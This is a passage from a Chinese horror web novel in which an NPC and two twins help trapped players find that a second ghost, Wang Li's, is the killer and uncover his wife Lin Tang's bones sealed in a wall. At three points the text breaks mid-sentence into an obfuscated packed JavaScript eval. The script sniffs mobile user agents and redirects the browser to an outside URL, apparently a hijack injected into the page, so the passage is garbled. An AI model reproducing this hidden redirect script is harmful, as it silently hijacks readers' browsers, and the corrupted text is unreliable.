相框里,是林棠穿着各式各样的戏曲服装,脸上涂着厚厚的油彩,摆着不同的姿势在舞台上拍摄的照片。 这些相框有一个共同点,它们的玻璃都被打碎了,似乎是被人狠狠摔过。 梨乐一从林互手里拿过唱片,看到唱片中央的标签上写着几行小字:20XX年,XX戏剧团,情探,林棠。 林棠在搬到这栋楼之前,是一名戏剧演员。 林互在茶几上坐下,掏出手机搜索“情探”,很快,他便得到了他预想的那个答案。 “我刚才在唱片机旁边还发现了许多其他的唱片,但林棠的鬼魂每天晚上都只唱这首《情探》,她应该是想通过这首曲子向楼内众人揭示王力的真面目。” 《情探》讲述的是技、女敫桂英救了还是个穷书生的王魁,倾尽全力供他上京赶考,但王魁高中状元之后却丝毫不念往日恩情,狠心负了敫桂英的故事。 林棠想表达的,或许也是这个意思,王力负了她。 并且,王力还将她往日的荣耀通通打碎丢到不起眼的角落里,也不让她继续她热爱的戏剧事业。 梨乐一有点懵,现在种种迹象都表明,之前902大婶告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297042|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉她的那些事情完全只是王力想让楼内众人看到的,事实则是完全相反。 在这段感情里,占据弱势地位的一直都是林棠。 林丛在茶几上的那些相框里不停地翻找着什么,但最后他并没有找到他想要的东西。 林互见状问道:“你在找什么?” 林丛站起身,视线一一扫过屋内的陈设布置:“从我们进到这间屋子里来后,所得到的信息都是关于林棠的,她的职业,她的爱好,但是关于王力的信息我们却一概不知。” 林互闻言也开始打量起房间:“既然他曾经住在这里,就一定会留下痕迹。不在客厅,也许会在卧室或者书房。” “好!” 梨乐一突然一拍大腿站起来,她还没有忘记自己今天晚上来1004的真正目的是什么,找线索只是其次的。 “林丛你去搜查卧室,林互书房,我就负责客厅和餐厅。”梨乐一再自然不过地安排着工作。 林丛悠悠看她一眼。 “行,就听你的。”林丛不紧不慢地朝卧室走去。 林互也没说什么,跟在林丛身后离开了客厅,剩梨乐一一个人站在沙发旁。 就……这么简单? 短暂的懵逼过后,梨乐一摩拳擦掌,准备开始施展她的作死大计。 她先是盯着之前白天走廊里出现林棠遗照的地方,盯了几分钟,无事发生。又在屋子里这里摸摸,那里看看,除了冷一点,并没有什么诡异的事情发生。 梨乐一看着客厅里遍布的血迹,渐渐想明白了什么。 现在1004里的时间或许和外面的时间是不一样的。 就像林棠的【怨】,在进门前穿的还是那身大红色的戏服,进门后便变成了她生前的正常穿搭。 换句话说,在夜晚的1004里,林棠还没有死,或者说刚死不久,还没有形成【怨】,梨乐一他们白天在1004里经历的诡异事情,在晚上的1004里自然不可能发生。 所以,她费劲千辛万苦在深夜进到1004,还进错了? 梨乐一这么想着,视线不由自主地飘向了房间大门。 房间内没有开灯,唯一的光源便只有窗外透进来的一点皎洁浅淡的月光。而大门的位置离窗边最远,照不到光,变得漆黑一片,朱红色的门从黑暗中隐隐约约地透出来一个模糊的轮廓。 像是在黑暗中无声张开的深渊巨口。 光是站在餐厅远远地看着那扇门,梨乐一后背便不自觉地感到一阵冰凉,她手臂上开始一阵一阵地冒起鸡皮疙瘩。 不对,这不是错觉,餐厅的温度好像真的比刚才冷了许多,跟冰窖似的。 与此同时,梨乐一从这令人窒息的安静氛围里分辨出一些细微的动静,像是指甲在轻轻地刮着门的声音。 而那声音,是从大门处传来的。 门外好像有东西。 梨乐一的心跳开始加速,她一步一步,放轻脚步朝着门口走去。 同一时间,正在卧室和书房里翻找东西的林丛林互察觉到了什么,猛地抬起头。 林互所在的书房离餐厅最近,他几步冲到餐厅,就看见梨乐一像是被什么东西蛊惑了似的,背影僵直地朝着门口走去。 他一边冲上去想要拉住梨乐一,一边大喊;“别出——” 没等他说完,梨乐一忽然朝前栽倒,脑袋磕在玄关处的柜子上,发出一声扎实的闷响。 “咚!” …… 15. 情终 梨乐一再次醒来的时候,窗外的天隐隐泛白,天快亮了。 她懵懵地眨了眨眼睛,转头,看见林丛林互抱臂坐在茶几上,一左一右凶神恶煞地瞪着自己。 当然,凶神恶煞是夸张说法,但两兄弟的脸色此刻也算不上好看就是了。 “你们……我……我昨天晚上发生什么事了?” 林互见梨乐一一副没睡醒呆呆的样子,哼笑一声道:“走路平地摔就算了,居然还给自己摔失忆了,你还记得自己叫什么名字么?” 梨乐一:“……” 她顶着还有些晕晕乎乎的脑袋从沙发里坐起身,目光疑惑地看向自己的脚腕,努力回忆昨天晚上的事情:“我昨天晚上不是平地摔,是有什么东西绊了我一下,我才摔跤的。” 林互目光沉沉地看着梨乐一:“你确定?你晕倒之后我去你摔倒的地方查看过,那里什么也没有。” 听了林互的话,梨乐一变得不确定起来,她昨天晚上注意力全部都放在门口的声音上了,要说因为太过于专注,导致左脚拌右脚摔倒也不是不可能。 “也许真的是我不注意,自己把自己绊倒了吧。”梨乐一不再纠结摔倒的事情,她看了一圈周围,发现他们仍在1004房间里。 “我记得昨天晚上我摔倒之前,听见门外好像有声音,你们有确定门外的东西是什么吗?” 林丛摇头,不紧不慢地开口:“没有,昨天晚上在你晕倒之后,我们察觉到有危险,就没有开门确认。” “那后来呢?”梨乐一追问。 林丛:“后来?后来我们把你搬到了沙发上,然后你就一直晕到了现在。” 梨乐一闻言心中闪过一丝怪异的感觉,但那感觉一闪即逝,再加上她脑子昨天晚上被柜子砸了的原因,一时半会转不过弯来,索性便不想了,问起林丛林互在她晕倒之后有没有什么发现。 林丛点头:“有。” “我们找到一些王力过去的资料,王力的公司不是他的,而是林棠父母的。” 梨乐一震惊地瞪大眼睛:“什么?” “王力之前是个口技演员,在和林棠结婚之后便辞去了口技演员的工作,接手林棠父母的公司。” 林丛将身旁放着的一叠资料丢轻轻丢到梨乐一腿上:“王力接手林家公司没多久,公司便开始走下坡路。六年前,公司彻底破产,王力和林棠为了还债,卖掉了之前住的别墅搬到这栋楼里来。” 梨乐一翻看着腿上的资料,果然如林丛所说,王力二十多岁时是个口技演员,在他和林棠结婚后一年,他接手了林棠父母的公司,而林棠后面为了能更好的照顾他,辞去了戏剧演员的工作。 后来公司因经营不善倒闭,王力把所有的怨气都发在了林棠的身上,可林棠又做错了什么呢? 假的,全部都是假的,王力营造出的温柔体贴的形象把楼里的人全都给骗了。 副本里的季节是春末夏初,天亮的比较早,梨乐一看完资料后,便拿上资料跟林丛林互离开了1004。 下到四楼,林丛林互没让梨乐一回403,而是拽着她进了404。 林丛在厨房里鼓捣早饭,林互则是翻出医药箱,把梨乐一按在沙发里,准备帮她处理一下她额头上那个足足有半个拳头大小的包。 林互在给梨乐一上药时,梨乐一就安安静静地坐着,也不喊疼。 林互涂完药,将棉签丢进垃圾桶,好笑地道:“还以为你会喊疼,没想到居然一声不吭。” 梨乐一眼神飘忽片刻,随即心虚地找补道:“小伤而已,有什么好喊疼的。” 但其实梨乐一很怕疼,不过作为副本NPC,还是专门找死的NPC,副本对她自然还是有优待的。 那就是梨乐一在副本中无论是受伤,还是面临死亡的时候,都不会感到疼痛。 所以梨乐一早晨在醒来的时候,除了脑袋晕了一点,并没有觉得有其他不舒服的地方,要不是林丛林互把她拉进屋里说要给她处理伤口,她压根就想不起来自己受伤了这回事。 好在林互信了她的话,没有多问。 吃完早饭,梨乐一和林丛林互一起出门,正好碰见成晖从402里出来。 成晖无比震惊地看着她,又看向她身后那扇挂着404牌子的大门,又看向她被包成粽子的脑门,一时间不知道该从哪里问起。 梨乐一欲盖弥彰地咳嗽了两声,将手里抱着的资料递给成晖:“昨天晚上,我们在1004里有发现。” 成晖:!!! 十分钟后,一楼大厅。 郝雯表情疑惑地看着如左右护法般站在梨乐一身后的两个男人:“这副本里的NPC还能复制粘贴的吗?” 梨乐一顶着粽子头,凄凄惨惨戚戚地开口:“这些都不重要,大家听我说,我们昨天晚上在1004里有重大发现。” 梨乐一将昨晚在1004里的经历说了出来,当然,是经过她“修饰美化”版,她只将双胞胎找到的线索,以及1004在晚上会回到林棠死亡那天晚上的事说了出来。 话里话外都营造出,她是和双胞胎一起进入1004的假象。 众人听后先是震惊,随后又开始怀疑:“你是说,你们三个昨天晚上在1004里待了一整个晚上,除了看了段林棠之前的回忆,什么危险都没有遇到?” “对。” 梨乐一说出自己的推测:“因为晚上的1004和白天的1004所处的时间点不一样。” “晚上的1004所处的时间点在【怨】生成前,所以我们待在里面一个晚上也没有出事。” “夜晚相较于1004房间内部,反而是1004房间外更危险。如果我们想要弄清楚林棠的执念并且将其消除,就只能在白天进到1004里。” 梨乐一已经说得很清楚了,但还是有玩家不信她。 “我怎么知道你说的这些是不是真的,万一你们三个昨天在1004待了一晚上,被1004的【怨】夺舍了,说这么多只是为了把我们骗进1004一网打尽怎么办?” 成晖合上手里的资料,开口:“我信她说的话。” “这些资料详尽细致,甚至还有公司的公章,一个晚上根本来不及伪造。而且这个副本和1004有关,那么解开这个副本的关键也一定就在1004里。” “不管梨乐一说的是真的还是假的,我们都必须进到1004里去寻找解开【怨】执念的办法。” 经过几天的相处,成晖在玩家里还是很有公信力的,那名玩家闻言讪讪地闭上嘴。 众人最终决定一起进入1004一探究竟。 出发前,涂莉想起什么,视线扫过四周,眼中神色变得凝重:“等等,玩家又少了一个。” 一大清早便被梨乐一的“重磅消息”冲昏了头脑的玩家们,这才分出点注意力在自己身旁的人身上。 很快,众人便清点出来,少的那个人正是昨天将1004门上符纸全部撕下,还死不承认的朱力栋。 成晖叹了口气:“去204看看吧。” - 204的门是虚掩着的,轻轻一拉便开了。 朱力栋的尸|体就倒在门口,他一只手奋力地向前伸着,另一只手则是以一种常人无法做到的角度弯折在背后,死状和许宗良以及小南如出一辙。 梨乐一眼尖地发现朱力栋向前伸的那只手里攥着东西,她大着胆子上前想要将其掏出来,却被林互揪着衣领丢到身后。 “哎哎哎,等等。”梨乐一扒着林互的袖子想要解释,却看见林互已经将朱力栋手里的东西给掏了出来。 是一张被捏的皱皱巴巴,却依然完整的符纸。 梨乐一见状,脱口而出道:“这符纸不是能辟邪吗?为什么昨天晚上没派上用场?” 朱力栋肯定是在符纸上尝到了甜头,才会去将1004门上贴着的符纸给全部撕下来。可既然符纸有用,那为什么朱力栋又会死在昨天晚上? “也许,是副本给出了限制?”人群后,住在801的刘默弱弱接话道,“这个符纸,每人只能用一次?” 林互有些嫌弃地将沾了血的符纸扔在玄关的柜子上,从兜里掏出湿巾纸擦手,浑不在意地道:“也许。” 梨乐一看着那张皱巴巴的符纸,心中的怪异感挥之不去。 但除了符纸,众人并没有在朱力栋的尸|体上发现其他有用的信息,于是众人按照原定计划去到1004。 白天的1004恢复到了梨乐一初次进入时的模样,家具摆放整齐,除了上面覆盖着一层厚厚的灰,一点也看不出在这间房子里,曾经都发生过些什么惨绝人寰的事情。 “解开林棠执念的办法一定就在这个房间里,开始找吧。”成晖说完,便带头找了起来。 其余人害怕到脸色青白,但为了能尽快离开这个副本,他们也不得不忍着害怕,慢慢在屋里摸索起来。 梨乐一进屋后,先是在昨晚自己被绊倒的地方看了看。 昨天晚上光线虽然灰暗,但是在房子里待久了,梨乐一眼睛逐渐适应了这样的光线,倒也不至于说是什么都看不见的程度。 她想起来昨晚上摔倒时,恍然间好像看见什么东西从自己脚边一闪而过。不过因为速度太快,而且下一秒她脑袋就撞到了柜子上,所以她并没有看清楚那是什么东西。 真是奇了怪了,难不成,这屋子里有老鼠? “你们说,”正在餐厅里寻找线索的涂莉突然直起身,“林棠的执念会不会就是将王力生前对她所做的那些事情公布出来,让大家看清王力的真面目?” “毕竟,楼里的居民都认为王力是个没脾气的老好人。” 有男玩家闻言回答道:“照你这么说,我们现在应该去把王力曾经对林棠做过的事情印成大字报在楼内分发才对。” 涂莉有些无语:“我们肯定要先找到证据证明王力做过的那些事情,才能将真相告诉楼里的居民啊。” “不然他们只会认为我们是在抹黑王力,会相信我们的话才怪。” 在客厅的成晖听到了二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300944|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对话,一边找一边接话道:“有这种可能性,但不高。毕竟能形成【怨】的执念,一定不会是那么简单轻易就可以消除的。” 涂莉想了想成晖的话,赞同地点了点头,随即便低下头认真寻找起来。 梨乐一在玄关处找了半天没找到自己想找的东西,抬脚朝屋内走去。 “啊——” 身后突然响起一声惊恐的尖叫,梨乐一心头一跳,迅速转身看向声音的来源处。 发出尖叫的人是刘默,和上一次众人在1004里经历的事情差不多,这一次又是刘默率先发现了走廊里突然出现的林棠的照片。 梨乐一正准备上前,却看见刘默手里捏着什么东西,猛地一下朝着走廊里掷去。 “等一下!” 梨乐一想拦住刘默,但刘默已经将手里的东西扔了出去。 只见那东西在空中划出一道黄色的抛物线,快要靠近林棠的遗照时,照片里,林棠的笑容倏然变得僵硬,紧接着,一道火苗窜起。 下一刻,梨乐一耳边骤然爆发出一声刺耳的嗡鸣声,她表情痛苦地捂着耳朵蹲到地上。 其余人的状况也没比她好多少,显然,大家都遇到了同样的情况。 待耳朵里那阵刺痛过去,梨乐一抬起头,墙上林棠的遗照不见了,而在走廊尽头的地上,则是散落着一些黄色的碎屑。 一只骨节分明、修长好看的手轻轻捻起一小块碎屑,梨乐一顺着手往上看去,看到了林丛冷峻的侧颜。 “是符纸。” 林丛拍了拍手站起身,视线淡漠地看向呆坐在地上,面色惨白的刘默:“应该是204男人死的时候,手里拿着的那张。” 闻言,众人目光齐刷刷地落在了刘默身上。 她什么时候拿的那张符纸?他们怎么没发觉? 刘默好一会才从刚才的惊吓中缓过神来,眼中浮现出难以置信又带着点兴奋的光:“有用,这个符纸真的有用!” 梨乐一欲言又止。 接连两次在同一位置出现的照片,她觉得林棠是想借此告诉他们什么,而不是想害他们,但林棠的照片已经消失了,多说无益。 林丛似乎和梨乐一想到了一块,屈起手指在墙面上四处敲敲打打了一会:“这墙后面或许有东西。” 林互一边扶着梨乐一站起来,一边开始在房间里寻找趁手的物件:“那就把它砸开来看看。” “等等,”郝雯表情严肃,“你现在只是猜测墙里面有东西,并不确定。万一墙里是什么封印之类的,贸然砸开会不会壮大【怨】的力量?到时候【怨】变得更不好对付,我们怎么办?” 林互看郝雯一眼,不太客气地反问道:“还没砸开你就说墙里是封印?你见过?” 郝雯不甘示弱地呛回来:“我只是猜测而已,怎么,你能猜我就不能猜了么?” “砸开看看吧,”成晖走到墙边,手指轻抚过粗粝的墙面,“我们的时间不多了,总得先试试看。” 郝雯的脸色彻底沉了下去:“成晖,你要想清楚,他们两个是NPC,就算完不成任务,消除不了【怨】也能继续待在副本里。但是我们和他们两个不一样,完不成任务离不开副本,我们会死的。” 成晖笃定道:“砸吧,再这么拖下去,等到了最后期限,大家都会死。与其等死,还不如现在拼一把。” “成晖,你——” 郝雯还想说些什么,梨乐一打断她:“林棠的执念和当年她死亡的真相以及王力有关,我并不觉得她遗照两次出现在走廊的墙壁上会是巧合,她或许是想告诉我们什么信息。” “不管这信息是好是坏,都会对我们解开这个副本的【怨】有帮助不是吗?” 梨乐一的话把屋内大部分原本还在犹豫的人说服了,毕竟从他们进入副本起,一只脚便已经迈入了鬼门关。 在副本里,过度小心谨慎和等死无异。 郝雯不好再开口说些什么,心不甘情不愿地闭上了嘴。 刘默在众人争执不下的时候,一直坐在边上没开口。在最初成功用符纸赶走【怨】的兴奋劲过去之后,她后知后觉地感到害怕起来。 符纸是一次性的,对于林棠的【怨】是能造成伤害,但无法彻底消除。而且最后一张符纸也在刚才被她给用了,她再无可以保护自己的东西。 等到林棠的【怨】休整好了重新出现,会不会立刻来报复自己? 刘默越想越后背发凉,后悔自己刚才怎么那么冲动就把符纸扔过去了。 郝雯注意到了刘默的不对劲,走到她身旁关切地问道:“你没事吧?” 刘默紧紧抓住郝雯的手,摇了摇头,又立刻点头。 郝雯叹了口气,无奈地对另一边准备砸墙的众人道:“刘默状态有些不对劲,我带她回屋休息一会。” 大家没有拦着,成晖只是叮嘱了两人几句,说万一有什么异常情况,就立刻上来找他们。 不过看郝雯的表情,她似乎觉得最危险的地方就是1004,并没有把成晖的话听进去。 16. 情终 梨乐一坐在凳子上,看着郝雯扶着刘默走出门,直到大门彻底关上,她才收回视线,转而盯着走廊地上那些残存的符纸碎屑发呆。 “你在想什么?”林互长手一伸,从餐桌旁拉过一把椅子,挨着梨乐一坐下。 梨乐一想到朱力栋手里紧紧攥着的符纸,又想到刚才还没靠近林棠照片便燃起来的符纸,心中的怪异感越来越强烈。 脑中一道白光倏地闪过,她想到了什么,有些难以置信地开口:“我在想,林棠死的时候有执念,那王力死的时候,会不会也有执念?” 王力生前在楼里的居民面前装出一副五好先生的模样,谁都挑不出他一点错来,他一定很在意外人对自己的看法。 但根据小南所说,在王力跳楼的前几天,他就已经发现林棠的鬼魂回来找他了。那时的王力,会不会已经察觉了林棠鬼魂的目的? 像他那么在意自身形象的一个人,如果察觉到林棠想将她生前所遭受的一切包括她“跳楼自|杀”的真相公布于众的目的,他会不恨?他会不想方设法地阻止林棠? “咚!咚!咚!” 走廊里,成晖他们用房间里能找到的东西自制了一把大锤,一下一下,朝着墙面狠狠砸去。 梨乐一的心跳也随着砸墙声变得越来越重,越来越快。 她眼睛一瞬不瞬地看着林互,声音愈发飘忽起来:“昨天晚上我们在这间屋子里待了一整晚,什么事也没有发生,我以为是时间问题,是因为那个时候的林棠还没有成为【怨】。” “但现在是白天,林棠在刚才出现给了我们提示之后便又消失了,她没有伤害我们,她的目的,或者说执念,一直都只是引导我们去调查1004里曾经发生过的事情……” 话说到这里,林互已然明白了梨乐一的意思。 林棠从没有伤害过他们,也没有理由伤害他们,说不定,林棠的【怨】还在暗中保护过他们。 因为林棠的【怨】和玩家们的目标是一致的,那就是揭开1004尘封多年的真相。 “咚!咚!咚!” 走廊里,白色的墙面因为重击而开裂,墙皮窸窸窣窣地落了满地,坑坑洼洼的水泥墙里,隐隐露出一小块类似于白骨的东西。 餐厅里,梨乐一脸色越来越凝重。 “小南死的时候,曾留下过一个数字‘2’,我一直没想通那个‘2’指的会是什么。” “成晖之前说,这个数字‘2’也许代表的不是一个数字,而是数量……我觉得,他可能说对了。” “这个数字‘2’,或许是小南想告诉我,这栋楼里的鬼魂,不止林棠一个。” - “雯姐,谢谢你陪我下来。” 801房间里,刘默脸色苍白如纸,在郝雯的搀扶下颤颤巍巍地在沙发里坐下。 郝雯也在她身旁坐下:“大家都是玩家,在副本里相互照顾是应该的。” 刘默:“我刚才在上面确实是被突然出现的林棠照片吓到了,不过仔细想想,其实林棠也挺可怜的,为了家庭辞去喜欢的工作,结果到最后丈夫变心,落得那样一个凄惨的——” 不等刘默说完,郝雯突然从沙发里站了起来。 刘默奇怪地仰头看着她:“雯姐,怎么了吗?” 郝雯朝厨房走去:“没什么,我有点渴了,去厨房烧点热水来喝。” 刘默看着郝雯走进厨房,闭上眼靠在沙发里休息。 自打她进入这个副本后,晚上便没有好好睡过觉,尤其是那天白天在1004里见到那张诡异的照片,夜深人静时,她每每闭上眼,女人阴森诡异的笑容都会浮现在眼前。 她困到不行,现在是白天,屋子里又有郝雯陪着她,紧绷了好几天的神经微微松懈下来。 不出五分钟,刘默脑袋一歪,在沙发里睡过去。 但没过久,刘默又被一阵尖锐的哨音吵醒,是灶上水壶里的水烧开了发出的声响。 刘默感到奇怪,嘴上试探地喊道:“雯姐?雯姐?” 没有回应。 整间屋子被厨房传出的尖锐哨音充斥着,却莫名让人感觉到一种诡异的寂静氛围,刘默后背发凉,又喊了一声。 “雯姐?” 刘默从沙发里坐起身,抬头看向电视机墙上的挂钟,发现自己不过才睡了十多分钟。 现在毕竟是在副本里,刘默就算真的睡过去了也不会睡死,她很确定自己刚才睡着的时候,没有听见关门声,郝雯应该还在屋里没有离开。 这么想着,她转头目光直直地看向厨房。 厨房的推拉门是磨砂玻璃,从外往里看只能看个模糊的轮廓,房间里的光不知在何时暗了下去,厨房被一片阴影笼罩着,就更看不清楚里头的景象。 刘默模模糊糊看见一个黑影轮廓像是个人站在那,她不确定地开口:“雯姐?雯姐你在厨房吗?水烧开了,关火吧。” 厨房里水壶发出的嘶鸣声越来越急促尖锐,门上那道黑影依旧一动不动。 “雯、雯姐?”刘默的声音已经带上了颤音。 因为恐惧,刘默感觉自己的双腿像是灌了铅般沉重,但出于求生本能,她还是一步一挪地慢慢往门口走去。 “唰——” 卫生间里突然响起冲水声,刘默被吓了一跳,但惊吓过后她立刻反应过来,这冲水声应该是郝雯发出来的。 “雯姐,原来你在卫生间呀。” 刘默松了口气,立刻朝卫生间走去:“我刚才叫你你怎么不说话,吓死我了,我还以为你走了呢。” 刘默推开卫生间的门,里头没有开灯,淋浴间的帘子还被拉上了,光线十分昏暗,不过还是能看清,卫生间的外间并没有人。 “雯姐,你怎么不开灯啊,你是要洗澡吗?” 刘默打开了卫生间的灯,一边问话,一边往淋浴间走去,想要将帘子拉开。 然而就在她的手碰上浴室帘子的那一刻。 卫生间的灯闪烁两下,忽然熄了。 视野再次陷入一片昏暗,刘默撩帘子的动作僵住。 “啪。” 一只青白的、遍布尸斑的手从帘子下方滑了出来,碰到刘默的鞋子停了下来。 那只手的手腕带着一串手链,刘默记得它,因为十多分钟前,她才在郝雯的手腕看见过这条手链。 郝雯已经死了。 而且从她手上的尸斑来看,她并不是来到这里才死的,她早就已经死了。 刘默想明白这一点的瞬间,她脚边那只遍布着尸斑的手突然一扭,啪嗒一下死死地扣住了她的脚腕。 - “我在想……” 梨乐一面色凝重地看着林互:“会不会夜晚在楼里唱戏的是林棠的【怨】,目的是想要将王力的真面目和自己死亡的真相告诉大家,而杀害楼内居民和玩家的,其实是王力的【怨】?” 梨乐一额头渐渐开始渗出冷汗,饶是她当了两年的NPC,过了副本无数,也从来没有遇见过有两个【怨】的副本。 一个副本同时存在两个【怨】,这谁能想得到。 林互表情也严肃起来:“你的猜测或许是对的。” 他垂眸看向梨乐一的脚腕:“昨天晚上,你的摔倒或许并不是意外,而是林棠在阻拦你出去,因为她知道王力的鬼魂当时就在外面。” “而且,如果在楼里杀人的真是林棠的【怨】,不光是你,我和林丛也都活不过昨天晚上。” “至于为什么那些夜晚出门听见林棠【怨】唱戏的人会死,也许是因为王力的【怨】以为那些人知道了真相,所以将他们给杀害了。” 林互的话提醒了梨乐一,她想起来,在小南死之前的那个晚上,她跑来找自己,告诉自己她之前在楼内遇见王力的情形。 小南当时说了什么? 她说,王力也许并不像他表现出来的那样爱着林棠。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307635|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小南无意间戳破了王力的伪装,所以在那个晚上,她才会被王力的【怨】盯上。 梨乐一后背慢慢升起一股凉意,王力一直都在监视着楼里的人。之前两次她突然生出被人窥视的感觉,应该就是王力的【怨】在暗中监视着她。 王力一直都在暗中监视着楼里所有的住户,但凡他认为哪个人知道了或者猜出了当年的真相,就会立刻下手将其杀害。 想到这,梨乐一猛地意识到什么,视线缓缓从房间内所有人的身上扫过。 从站在走廊里的玩家,再到走廊尽头处正猛力挥锤砸墙的成晖和林丛,最后回到就坐在自己身边的林互身上。 梨乐一的声音轻到像是下一秒就要消散在空气里:“现在,我们所有人都知道了当年的真相……” 她后面的话没说出口,不过林互清楚她想要说些什么。 他们现在这间屋子里所有的人,都被王力的【怨】给盯上了。 另一边,正在砸墙的成晖突然喊道:“有东西!” 众人纷纷围过去看,只见墙面窸窸窣窣掉落的碎石子下,露出了一节完整的手骨,根据大小来看,这应该是女人的手。 而在手骨的上方,还露出来用朱砂画的黄符的一角。 林丛很快反应过来:“这是林棠的尸骨。” “王力害怕林棠的鬼魂报复自己,所以将她的尸骨砌进墙里,并用符纸镇压住。” 梨乐一在看到尸骨的瞬间也豁然开朗。 她之前的猜测是对的,怪不得他们昨天晚上在1004里待了一晚上也没事。 因为林棠的尸骨在这间屋子里。 王力生前用残忍的手段杀害了林棠,后面被林棠的鬼魂缠上,虽然他想办法将林棠的尸骨镇压在了屋子里,但死后仍对于林棠和这间屋子有着莫名的恐惧。 所以他的【怨】无法进到1004。 谁能想到,这个副本里大家都对其避之不及、害怕不已的屋子竟然是副本里最安全的地方呢。 至于那张被朱力栋死前紧紧握在手里、完好无损的符纸,却在还未碰到林棠照片时便自燃了起来,现在也得到了解释。 那些符纸都是王力用来对付林棠鬼魂的,所以对林棠的【怨】有用,对王力的【怨】没有用。 梨乐一终于明白,林棠戏服上的那些大洞是怎么来的了。 有个玩家躲在最后面,哆哆嗦嗦地问道:“我们现、现、现在,还要继续砸墙吗?” “砸。” 林互的话掷地有声地落进每个人的耳中:“林棠的鬼魂不会伤害我们,每天晚上在楼里杀人的是王力的鬼魂。” “你的意思是……这栋楼里现在有两个【怨】?你凭什么这么说?” 林互:“凭我们昨天晚上在1004里待了一晚上,但是没有死。林棠的鬼魂一直都在1004里,现在应该也在,但她并没有伤害我们不是么?” 质问林互的玩家叫做金志扬,他还是不相信林互说的话,开口想问些什么,梨乐一打断他:“林棠的【怨】从始至终都没有伤害过我们,我想,在王力死之前,她的执念应该是替自己申冤。” “王力后来察觉到她的目的,所以用这个法子将她封印在楼内,永世不得超生,林棠的执念因此也多了一条,那就是解开压制她的封印,得到自由。” 梨乐一语气笃定,金志扬没有再问些什么。 “咚咚咚。”大门突然被敲响。 刘默的声音隔着一道门响起,听上去十分急切:“开门,快开门,郝雯不对劲!” 金志扬想去开门,却被梨乐一一把拉住。 梨乐一虽然在副本里的本职工作是作死,但那是个人行为,她绝不会自私到让周围的人都为她的行为买单。 况且,在这个副本里,她想让成晖活着出去,也想让双胞胎以后不再被困在这栋楼里。 她目光警惕地看着大门:“不能开门。” 17. 情终(完) “咚咚咚!” “快开门呀,我是刘默。” 敲门声越来越急促,门外刘默的说话声也因为恐惧而变得尖锐。 “开门!快点开门!郝雯她要上来了,快开门呀!” 涂莉听到门外刘默绝望的喊叫,于心不忍地道:“现在不是白天吗,王力的【怨】应该没有出来,开门让刘默进来也没关系吧。” 梨乐一转头看向一旁的林互,林互微微摇头。 梨乐一叹了口气,转而看向涂莉:“截止到今天早上,楼里已经死了三个人了,王力的【怨】在不断增强自己的力量,而且我们现在已经找到了林棠被封印起来的尸骨,你以为王力的【怨】还能坐得住?他现在——” “不一定会等到晚上才出来杀人。” 涂莉脸色瞬间变得惨白:“你的意思是……” “或许,郝雯和刘默已经被他杀害了。” 梨乐一脸色不太好看。 如果郝雯和刘默也被王力的【怨】杀害了,那王力【怨】的力量又增强了许多,他现在出现在门外,绝不是一个好兆头。 林互抱臂倚在餐桌旁,不紧不慢地补充道:“你们别忘了,王力在和林棠结婚之前是一名口技演员,平时最擅长的就是模仿各种各样的声音。” 随着林互话音落下,敲门声变成了砸门声,门外的“刘默”见始终没有人来开门,声音开始扭曲,从可怜无助的女声变为了沙哑粗粝的男声。 “开门!快开门!!!” 果然,门外的“刘默”是王力【怨】假扮的,目的就是为了骗他们给他开门。 走廊里,林丛毫不犹豫,抡起锤子对着墙面又是一顿猛砸。单靠他们的力量是无法对付门外王力的鬼魂的,只有尽快将林棠尸骨上的封印解除,让林棠来对付王力,他们才有可能活下来。 而门外,王力的【怨】听到砸墙声之后突然安静了下来。 梨乐一心中顿时涌上来一种不祥的预感。 下一秒,走廊尽头陡然间窜起熊熊大火。 林丛被火势逼得退了两步,除了他和成晖,其余玩家都在火烧起来的时候便惊慌失措地跑出了走廊。 “怎么回事?怎么会突然着火了?!” “我的衣服!我的衣服燃起来了!好烫,好烫,救我!!!” 金志扬的衣角被火撩到,火苗瞬间便顺着衣角扩散到了全身,金志扬被烫得在地上打滚,发出撕心裂肺的惨叫声。 林互见状反应极快地朝卫生间冲去,但卫生间的水龙头并不出水。 梨乐一跑进了厨房,厨房也没有水。 林互回到餐厅,大手一挥扯下桌布,用力拍打地上的金志扬想帮他灭火,只可惜,金志扬身上的大火丝毫没有减弱的趋势。 很快,玩家们绝望地发现,不止走廊,1004房间的各处都燃起了熊熊大火。 “出出出去,我们得赶快出去,不然我们都会被烧死在这里的!” 有玩家跌跌撞撞地朝门口奔去。 “不能出去!” 林互眼睛被浓烟熏得通红,他拦在那名想要去开门的玩家面前:“王力的鬼魂没有办法进入1004,他这么做是想逼我们出去,一网打尽!” “那难道我们现在要待在1004里等死吗?” “咚!咚!咚!” 走廊里再次传出重重的砸墙声。 